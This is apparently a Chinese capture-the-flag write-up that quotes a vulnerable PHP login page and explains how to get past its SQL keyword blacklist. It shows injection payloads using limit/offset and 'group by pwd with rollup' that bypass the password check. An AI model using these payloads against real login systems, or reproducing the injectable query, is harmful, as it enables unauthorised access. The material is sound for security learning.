因缺思汀的绕过
拿到题目发现什么都没有,看一下源码
发现有一个source.txt文件,打开得到php源码
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){#判断是否为数组
$StrValue=implode($StrValue);#如果是数组,则连接成字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ #foreach 可以遍历数组与对象,它会把当前单元的键名也会在每次循环中被赋给变量 $key,值赋给变量$val
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); #执行语句
if (mysql_num_rows($query) == 1) { #该函数返回一个整数,表示记录中有多少行数据,但现在限制了返回的数据只能是一行,才能接着往下
$key = mysql_fetch_array($query);#mysql_fetch_array() 函数从结果集中取得一行作为关联数组,第二个参数,(MYSQL_BOTH - 默认)。同时产生关联和数字数组
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
接下来就是分析源码,可以看到我们输入的uname在数据库查询uname和key,再将key和我们输入的pwd比对,相等就打印flag。
首先我们可以看到过滤了一些sql语句
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
因此以前常规的sql注入语句不能再使用
但我们注意到它的查询语句
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
只要在满足不适用它过滤掉的SQL关键词的情况下可以使用 limit 的返回来确定数据库中总共有几行数据,于是我们构造:
1’ or 1 limit 1 offset 0#
1’ or 1 limit 1 offset 1#
1’ or 1 limit 1 offset 2#
我们发现当它是2时返回“一颗赛艇!”,其他都是返回“亦可赛艇!”,说明数据库只有两条数据。
接下来我们只要使得if($key['pwd'] == $_POST['pwd'])
判断为true,我们即可拿到flag。
于是可以利用group by pwd with rollup在查询中的一个特点,他可以返回pwd所在的那一条记录,通过limit控制返回哪一条,因此他不可以返回多条,一旦返回2条及以上,pwd就会为空,但同一条记录中的其他字段则是正常的,然后在pwd里不写值,if就为true了。
1' or 1 group by pwd with rollup limit 1 offset 2#